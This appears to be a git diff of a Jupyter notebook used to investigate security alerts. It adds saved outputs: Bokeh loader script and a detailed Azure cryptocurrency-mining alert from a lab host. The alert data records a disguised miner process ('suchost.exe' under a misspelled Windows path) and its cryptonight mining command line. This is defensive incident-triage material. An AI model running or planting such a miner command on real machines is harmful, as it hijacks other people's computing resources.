\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1001\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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Series Alert: 'Digital currency mining related behavior detected'

\n", + " Alert_time: 2019-02-13 22:03:42+00:00, \n", + " Compr_entity: MSTICALERTSWIN1, \n", + " Alert_id: 2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f\n", + "
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TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 22:04:15+00:00
AlertDisplayNameDigital currency mining related behavior detected
AlertNameDigital currency mining related behavior detected
SeverityHigh
DescriptionAnalysis of host data on MSTICALERTSWIN1 detected the execution of a process or command normally...
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIdcf383339-b4ff-4996-9d4e-83a4ece6688f
SystemAlertId2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_DigitalCurrencyMiningTool
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 22:03:42+00:00
EndTimeUtc2019-02-13 22:03:42+00:00
ProcessingEndTime2019-02-13 22:04:16+00:00
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://techn...
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1
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Alert: 'Digital currency mining related behavior detected'

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3
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 22:04:15+00:00
AlertDisplayNameDigital currency mining related behavior detected
AlertNameDigital currency mining related behavior detected
SeverityHigh
DescriptionAnalysis of host data on MSTICALERTSWIN1 detected the execution of a process or command normally associated with digital currency mining.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIdcf383339-b4ff-4996-9d4e-83a4ece6688f
SystemAlertId2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_DigitalCurrencyMiningTool
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 22:03:42+00:00
EndTimeUtc2019-02-13 22:03:42+00:00
ProcessingEndTime2019-02-13 22:04:16+00:00
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx)\",\\r\\n \"2. Escalate the alert to the information security team\",\\r\\n \"3. Make sure the machine is completely updated and has an updated anti-malware application installed\",\\r\\n \"4. Run a full anti-malware scan and verify that the threat was removed\",\\r\\n \"5. Install and run Microsoft’s Malicious Software Removal Tool (see https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx)\",\\r\\n \"6. Run Microsoft’s Autoruns utility and try to identify unknown applications that are configured to run at login (see https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx)\"\\r\\n]
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x1e821b5', 'Suspicious Process': 'c:\\w!ndows\\system32\\suchost.exe', 'Suspicious Command Line': '.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x70d8', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x7b20', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x1e821b5'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'suchost.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x70d8', 'CommandLine': '.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-13T22:03:42.8164656Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x1e821b5', 'StartTimeUtc': '2019-02-13T22:03:42.8164656Z', 'EndTimeUtc': '2019-02-13T22:03:42.8164656Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
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ExtendedProperties:

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Compromised HostMSTICALERTSWIN1
User NameMSTICALERTSWIN1\\MSTICAdmin
Account Session Id0x1e821b5
Suspicious Processc:\\w!ndows\\system32\\suchost.exe
Suspicious Command Line.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4
Parent Processc:\\windows\\system32\\cmd.exe
Suspicious Process Id0x70d8
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x7b20',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',, 'Name': 'suchost.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': '.\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4',, 'CreationTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',, 'Name': 'suchost.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x7b20',, 'Type': 'process'},, 'ProcessId': '0x70d8',, 'Type': 'process'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x1e821b5',, 'StartTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'Type': 'host-logon-session'}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Extract entities and properties into a SecurityAlert class\n", "if alert_select is None or alert_select.selected_alert is None:\n", @@ -297,14 +1573,25 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 8, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:41.613471Z", "start_time": "2020-05-16T02:14:41.251019Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 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fviJKTEzW4sU/yM+vqJ55prbee2+gUlLSVL9+E0VGxqp587Z6+ukAbd26Wb/8skbjx0/Q8uWr5ObmpsKFi+rq6avyLVNIz49sq4jjlxVx9LJ+Gv2zanSrpSKVi+rJ+mW1/adQbVqyRaUCSyshIUUunm43TV+q4xOKDIy1bxezOVk2m00zZsyTh4eHJOn69etyc3PV1avXZTabFRUVJ0mKi0uSxfLXa7RY0hQTk6hDh8IUFnZctWvXlSRVrFhNHh45tHfvYZUvX1E7dmzTf//7H/XsGawePYLtyytWrIx27tyliIhopaVJcXHJ9mVfvRolq9Wq+PhkpaXpb+u0Ki4uff+4fj1eNtudt8s/96PExGR17x6soKAuf0yXopiYaPt0+/YdlI9PPm3eHKr69Zv9sU6LxoyZpFKlnpAkxcSkHzaZHX8Xs4vs+lmH7I39DlmNfQ53w2g03HFwicP8HnMBAXW0cOE8paamyGq1asSIwfr000l3nKdSpad0+vRJhYWdkCStW7dWH3307i2nrVu3vjZu/F1ubm565pnq+vLLzxUQEKhnnqmuffv2avfuXapdu85d5w0MrKfly5fIarUqJibafhGFEiVKyWQyae3a1ZKkK1citHbtagUEpF/QolGjJvr004kKCAhUyZKlFBsbq59/XqnGjZtKkrp376yjR4+oTZv2Gjx4hGJjYxQVFSlJatiwsa4ejNKJ9ce0bfZmFSpfWFU7PKNCFQrrevg1SVLRZ4rLJdFFkYciVLJ2KUm65fRx59OLjIuLiyyWVHl5ealSpcqaO/dbSelFoWfPLlq37u4vDpGSkqL33ntb4eFnJUk7dmxTWlqaSpZ8QkeOHNLAga9r1KhP1KNHcIb5jEajKlWqrH379tjPJ0tJSd8PRo8erv/976f73i7/FBBQR99/v1hxcenvw//936f66KP3JElr167W9u3bFBLyg7Zu3azffltjn2fu3G9ls9mUkpKit94aoIUL5911NgAAgAeFMvWY69t3gAoX9tMLL7RX+/YtZbNJb7+d/uV28eKFGj580E3z+Pjk08cfj9eQIe8rKKit5s79VmPHphew4cMHafHihfZpGzZsrHXr0r8UN2rURGfPnlGNGrXk7u6uMmX8VaXK03Jzc7vrvP37vyaTyay2bVvojTdeUenSZSSlnzM0efLnmj//O3Xq1Fr9+/dW376vqnr1WvZ1nz59SrVqBUqSatUKVL58vipYMP2QuYED39X06Z/qhRfaqU+f7urX71X5+RWRJNWt20DXjlxTyYBSsllt+mnoj1o1aqVSE1NUtpG/JMnF5KIS1UvK5G3S+YhzknTL6QvX9ZMkNW3aTMHB3RQWdlxjxkzQ/v171bFjK3XrFqTmzVuqZcu7v3R9kSJFNXToSL3zzhsKCmqrL774XJ9+Ol0eHh5/FGObpk6dqKCg9ItxDBz42k3bp2PHF1SuXAV16dJBHTu2Vr58vurSpdt9bxcp437Uvn0n1a3bQN27v6D27Z/XiRPHNGLEGF2+fEmjRg3T6NHj5O3trZEjx2jkyCGKiLis994bpMTERHXs2FqdOrVW6dJl1LNn8K2DAAAAZCGDzXbbQ/hKSDrNYX5/YTj48fX62v4qmrPYbZ+3JKfq1/G/qFjj4jp47oCCOnWRwWC4abpzseGa1viLu14v+xycgf0OzsB+h6zGPoe78bfD/EpKOnPT81kdCHjUXDx0QcvfW6rCFf1UIaCSTCaTzpw55exYAAAAeMC4UQtwnwpX8FPHKZ3tPz9dtZp2796hkiWfcGIqAAAAPGiMTAGZrESJkkpLs+rcuXBnRwEAAMADRJkCMpnBYFDVqs9o9+6dzo4CAACAB4jD/IC74Jsjv87F3v1Ik2t+V10/dE17z+yWj0++DMsBAADAo4EyBdyFIQEj7nmeZbGL9euv/9O06Xd/9T4AAABkHxzmBzwgrVq10alTJ3Xw4AFnRwEAAMADQJkCHhCz2VU9evTWjBlfOjsKAAAAHgDKFPAAtWvXSfv371VY2HFnRwEAAEAmo0wBD5CHh4defLG7Zsz4ytlRAAAAkMkoU8ADFhTUVVu3blJ4+FlnRwEAAEAmokwBD5iXl5eCgrpq1qxvnB0FAAAAmYgyBWSBrl27ae3a1bp8+ZKzowAAACCTUKaALJAnT161bdtes2fPdHYUAAAAZBLKFJBFunXrpZ9++lHXrl11dhQAAABkAsoUkEV8ffOrWbPnNHfut86OAgAAgExAmQKyUM+ewVq6NEQxMdHOjgIAAID7RJkCspCfXxHVq9dQCxfOc3YUAAAA3CfKFJDFgoP7asGCuUpIiHd2FAAAANwHyhSQxUqUKKVq1WpoyZJFzo4CAACA+0CZApwgOLif5syZpeTkZGdHAQAAgIMoU4AT+PuXk79/ef3wwzJnRwEAAICDKFOAk/Tp01+zZn2t1NRUZ0cBAACAAyhTgJNUrlxVRYoU1apVK50dBQAAAA6gTAFO1KdPf82c+ZXS0tKcHQUAAAD3iDIFOFGNGrWUM2curV37q7OjAAAA4B5RpgAnMhgM6tOnn7755gvZbDZnxwEAAMA9oEwBTlavXkNJNm3c+LuzowAAAOAeUKYAJzMYDAoOZnQKAAAgu6FMAQ+BJk2aKTr6hnbuDHV2FAAAANwlyhTwEHBxcVGvXi/rm2++dHYUAAAA3CXKFPCQaNmytcLDz+rAgX3OjgIAAIC7QJkCHhJms1k9egTrm2++cHYUAAAA3AXKFPAQadu2gw4dOqjjx485OwoAAAD+BWUKeIi4u7vrpZd6asYMzp0CAAB42FGmgIdMp04vaPv2rTp79rSzowAAAOAOKFPAQ8bT00svvPCiZs782tlRAAAAcAeUKeAh1KXLS1q/fq3Onz/v7CgAAAC4DcoU8BDKnTuP2rXrpOnTpzs7CgAAAG6DMgU8pLp166nly5crKirS2VEAAABwC5Qp4CHl45NP7dq105w53zo7CgAAAG6BMgU8xF555RUtX75E0dE3nB0FAAAA/0CZAh5ifn5+atiwiebPn+PsKAAAAPgHyhTwkOvV62WFhMxXfHycs6MAAADgbyhTwEOuePESqlkzQCEhC50dBQAAAH9DmQKygeDgfpo3b7aSkpKcHQUAAAB/oEwB2cCTT5ZVxYqVtHz5EmdHAQAAwB8oU0A2ERzcX7Nnz1RqaoqzowAAAECUKSDbqFTpKRUrVkI//bTC2VEAAAAgyhSQrfTp008zZ36ltLQ0+2Nubia5uZlkMDgxGAAAwGOIMgVkI9Wq1VDevN76/fe1ypHDVT4+XvLycpeXl7t8fLxkMvErDQAAkFVMzg4A4O4ZjUZNmTJVxYr5ydXVVUZjxuGonDk9dP16vJPSAQAAPF4oU0A2YDBInp5ucnc3y8enlAy3OabPaDTI1dVFKSlpt3weAAAAmYdjgoBsIHfuHHJ3N8tgMNy2SEnpZcrT0y0LkwEAADy+KFPAQ85oNMhkMt62RNlsNsXGxioyMvKP6Y0ym12yMiIAAMBjiTIFPOSMRoNstpsft9lsiomJUVhYmI4fP66DBw/KarUyOgUAAJBFOGcKeMhZLFbZbDZJGUemTpw4oRs3bighIUERERHy9/eX0WiUzWaTyWSUyWSUxWJ1TmgAAIDHACNTQDaQkJAiqzXj8JTRaNT58+eVlpam4sWLKyIiQpLshwMyOgUAAPBgMTIFZANJSany9HTV30enihcvLpPJpBIlSig2NlbLly/X6dOnVbJkSUmS2ewiFxej0tIYnQIAAHgQKFNANpGQkCJPTzf7yJPZbJaPj48WLVqklJQUFS9eXOfOnVPJkiVlMBhks9nk6emqmJgkJycHAAB4NFGmgGwiMTFVOXK46e8X9TOZTKpQoYIqVqwoSVq0aJEuXLggPz8/GQwGubqa5OJiUFraLa5gAQAAgPtCmQKykYSEFOXI4SqjMb1ReXh4qEKFCjp58qTi4uJUqFAh5cqVK8M8OXK4KTaW0SkAAIDMxgUogGwkKSlF/7zdVEpKisLDw3X58mUVLlxYV65csV+MQpLc3Ez28gUAAIDMQ5kCshGbLX10yva3G0+5ubnJz89P0dHRSk5OVmRkpHbs2CHpryv75cjh6pS8AAAAjzLKFJDNJCam3vRYoUKFZLVa5e3trTx58ujatWu6evWqpPRC5e5uZnQKAAAgk3HOFJDN2Gw2JSWlyt3dbL9qX86cOVW4cGFt3rxZUVFRtzx3ysPDVfHxyU5KDQAA8OhhZArIhhISUuz//vNQvtKlS0uSGjRooJo1a+rYsWO6ceOGfRoPD/NN51sBAADAcZQpIBuyWm1KSrJkOHeqcOHCatWqleLi4rR3715FRkZq7969kmSfzsODc6cAAAAyC2UKyKYSEjIeshcVFaVly5YpIiJCzZs3V0BAgMLDw3Xt2jUZDIY/RqdcGZ0CAADIJJQpIJuyWm1KTv5rdCpfvnwqVKiQrly5os2bN+v48ePy8fHR9evXM8zn7s7oFAAAQGagTAHZ2N/PnZKkEiVKyNvbW7GxsTp37pySkpLk4uKilJT06YxGA5dJBwAAyCSUKSAbS0uzKiUlzT46VaJECbVu3VoBAQEymUzy9PTUpk2btHv3bkl/nTvl7m52WmYAAIBHBWUKyOb+ee6UwWBQUlKSYmNj1bx5c3l7e+vChQtKTEyUwWCQ0WiQpyejUwAAAPeLMgVkcxaLVampaRmu7FegQAEZDAaFhYUpKSlJefLkkYeHh5KT/yxeBkanAAAA7hNlCngE/P1mvH+Wqpo1ayo5OVktWrRQYGCgNm7cqLFjxyoiIoJzpwAAADKBydkBANw/i8Uqi8Uqs9nFfhPfIkWKyMfHR5s3b9aePXtUvHhxtW/fXocOHbKPXLm5mZScbHFyegAAgOyJkSngEREfnyyr1ZbhsbNnz8rV1VVdu3aVu7u7KlWqpKioKEVHR/9x7pSbk9ICAABkf4xMAY+I1NQ0Wa1WGY0u9sf8/f3l7+8vSQoLC1NcXJyqVq2qmJgY5c6dWwaDQa6uJqWkMDoFAABwrxiZAh4htxqd+vMcqmrVqikmJkYGg0FWq1UWi4Ur+wEAANwHRqaAR8hf95wy2B8zGAy6du2aoqKilJCQoOjoaCUmJioxMVH+/v4yGo0ym12UmprmvOAAAADZEGUKeMTExyfLy8tdRuNfhSopKUlnzpyRzWaTzWaTl5eXLBaLbDab/dypGzcSnJgaAAAg+6FMAY+Y5GSLPD0zjk4VLFhQBw8elLe3twoVKqS0tDT7OVM2m00mk1Emk4ssFkanAAAA7hbnTAGPoISEv86dSh99Murpp59W7ty5tWbNGq1evVrHjx+XJPul1Dl3CgAA4N5QpoBHUFKSRVJ6mfqzLPn4+OjGjRt68sknValSJR0+fFinTp2yz2M2u2Q4NBAAAAB3RpkCHlHx8SkZruxnMBiUlJQkd3d3Va5cWW5uboqPj7c/9/f/AwAA4N9RpoBHVFJS6k2PPfPMM7pw4YJOnjypggULqmjRopLSDwW0Wm1KS7NmdUwAAIBsiwtQAI+whIQU5cjhKqMx/UITnp6eatSokQwGgypWrChJslptslqtiolJcnJaAACA7IUyBTzCkpLSy5T01yF8Xl5estlsSkhIkNUqWSziHlMAAAAO4DA/4BFms6Xfd+rP+0v9+V9qapoWLAjRBx98SJECAABwEGUKeMQlJaUqOjpRyckWJSWl6saNBEVHJ6pu3UZas2a1IiIuOzsiAABAtkSZAh4Dqalpio1NUlxcsiyW9ItM5M2bV23atNPs2TOdnA4AACB7okwBj7Fu3Xpp5cofdO3aVWdHAQAAyHYoU8BjLH/+AmrWrIXmzp3t7CgAAADZDmUKeMz17NlHS5cuUkxMjLOjAAAAZCuUKeAx5+dXRHXrNtCiRfOcHQUAACBboUwBUHBwP82fP0cJCfHOjgIAAJBtUKYAqGTJUnrmmepaujTE2VEAAACyDcoUAElSnz799N13s5ScnOzsKAAAANkCZQqAJMnfv7zKli2nH3/83tlRAAAAsgXKFAC7Pn36adasr5WamursKAAAAA89yhQAuypVnlbhwn763/9+cnYUAACAhx5lCkAGffr018yZX8lqtTo7CpKkE0YAACAASURBVAAAwEONMgUgg5o1A+Tp6aW1a1c7OwoAAMBDjTIFIAODwaA+ffprxoyvZLPZnB0HAADgoUWZAnCTevUaKC3Nok2bNjg7CgAAwEOLMgXgJkajUcHB/fTNN18wOgUAAHAblCkAt9S0aXNdv35NO3dud3YUAACAhxJlCsAtubi4qHfvvvrmmy+dHQUAAOChRJkCcFstW7ZSePgZHTiw39lRAAAAHjqUKQC3ZTa7qkeP3pox4wtnRwEAAHjoUKYA3FHbth118OABnThxzNlRAAAAHiqUKQB35O7urhdf7KE